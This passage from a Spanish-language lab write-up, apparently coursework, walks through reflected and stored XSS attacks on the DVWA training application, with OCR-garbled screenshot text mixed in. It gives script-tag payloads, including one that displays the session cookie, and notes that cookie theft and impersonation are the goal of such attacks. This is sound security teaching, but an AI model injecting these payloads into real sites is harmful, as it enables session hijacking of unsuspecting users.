	Vulnerability: Reflected Cross \$
ctions	
/ Reset DB	What's your name? Submit
Force	Hello GABRIEL

Ejecutar código JavaScript en la entrada de texto denominado "What's your name" del aplicativo web. El código es el siguiente:

<script>alert("GABRIEL")</script>



> Como resultado se obtendrá un mensaje de alerta en el navegador web.



Ataque 10: Cross Site Scripting (XSS) Stored

Este tipo de ataques consisten en ejecutar cualquier tipo de código, con el objetivo, como por ejemplo poder robar las cookies para posteriormente robar la identidad, etc.

Pasos para realizar el ataque XSS Stored:

Seleccionar la opción "XSS Stored" del aplicativo web. En la entrada de texto "Name" escribir cualquier **nombre**, en la entrada de texto "Message" escribir un **mensaje de texto**. Se recibirá como respuesta el mensaje publicado y con el nombre.

🛛 🔏 192.168.1.41/dvv	va/vulnerabilities/xss_s/	
irefox 🛛 🗠 UOC (Universitat Ober	Z Inicio de sesión en el	c 👈 Nueva pestaña
		DVWA
Home	Vulnerab	ility: Stored Cross Site Scripting (XSS)
Instructions	Name 8	Orbid
Setup / Reset DB	Name -	
Brute Force	Message *	lests WAP pe ASS Stored
Command Injection		i.
CSRF		Sign Guestbook
File Inclusion		
File Upload		
Insecure CAPTCHA	Message: This is	a test comment.
SQL Injection		
SQL Injection (Blind)	More Inform	nation
Weak Session IDs	https://www.	.owasp.org/index.php/Cross-site Scripting (XSS)
XSS (DOM)	 <u>https://www</u> https://en.w 	.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet ikipedia.org/wiki/Cross_site_scripting
XSS (Reflected)	 <u>http://www.</u> 	<u>cgisecurity.com/xss-faq.html</u>
XSS (Stored)	• <u>nttp://www.</u>	<u>scriptarenti.com/</u>

Ejecutar código JavaScript en la entrada de texto denominado "Message" del aplicativo web. El código es el siguiente:

<script>alert(document.cookie)</script>

192.168.1.41/dvwa	a/vulnerabilities/xss_s/		V 🗉 🚥 G			
VOC (Universitat Ober	Z Inicio de sesión en el	c 👈 Nueva pestaña				
DYWA						
ne	Vulnerab	ility: Stored Cross Site Scri	pting (XSS)			
ructions	Name *	Test WAF				
up / Reset DB		script>alert(document.cookie)				
te Force	Message *					
nmand Injection						
۲F		Sign Guestbook				
Inclusion						

Como resultado se obtendrá un mensaje de alerta en el navegador web, con el tipo de seguridad y la cookie de la sesión, de manera permanente.

🛛 🔏 192.168.1.41/dvwa/vulnerabilities/xss_s/	… ⊠ ☆				
fox 🛰 UOC (Universitat Ober 💈 Inicio de sesión en el c 🔘 Nueva pestaña					
DVWA					
Home Vulnerability: Stored Cross Site Scripting (XSS)				
Instructions					
Setup / Reset DB					
security=low; PHPSESSID=o3mkgn6chqai4em6jopu7ftph6 Mes					
Command Injection					
CSRF					
File Inclusion					